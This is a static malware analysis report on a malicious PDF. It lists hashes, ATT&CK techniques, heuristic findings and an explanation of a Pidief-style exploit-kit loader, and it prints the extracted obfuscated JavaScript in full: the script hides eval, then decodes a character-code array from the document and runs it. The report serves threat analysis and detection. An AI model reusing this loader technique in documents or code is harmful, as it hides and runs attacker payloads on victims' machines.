Malicious PDF — malware analysis report

Static analysis result for SHA-256 823d04b1bcb33e7c…

MALICIOUS

PDF

45.3 KB First seen: 2013-07-12
MD5: c1b3f8d2ed99d19a7735e1cf64412acf SHA-1: 5521b8293af137d694af793a693d18a1c18215b7 SHA-256: 823d04b1bcb33e7c448e699c743bf42c0d0340a615503a6b298b03b4edac10f5
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified as a loader, which attempts to decode and execute a payload. The script dynamically constructs a URL from concatenated strings and uses character-code arrays to build the final payload, which is then executed. This indicates a multi-stage attack, likely delivered via spearphishing.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB281 452 bytes
SHA-256: c7c51f9a535fe515e8f6efc0d103e6202d6a360331c5836df2e0676eeb82c28b
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
drdb='';
ewmux=('qwrwqr','tit');
e('dxvro=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
thye=e('String.fr'+dxvro.substr(0,10));
ktml = e(dxvro.substr(10)['replace'](/u/g,','));
e('k=ktml.length');
for (i = 0; i < k; i+=2) {
	brqnk = ktml[i+1] + ('erybjkerl',ktml[i]);
	drdb += thye(brqnk);
}
e(drdb);

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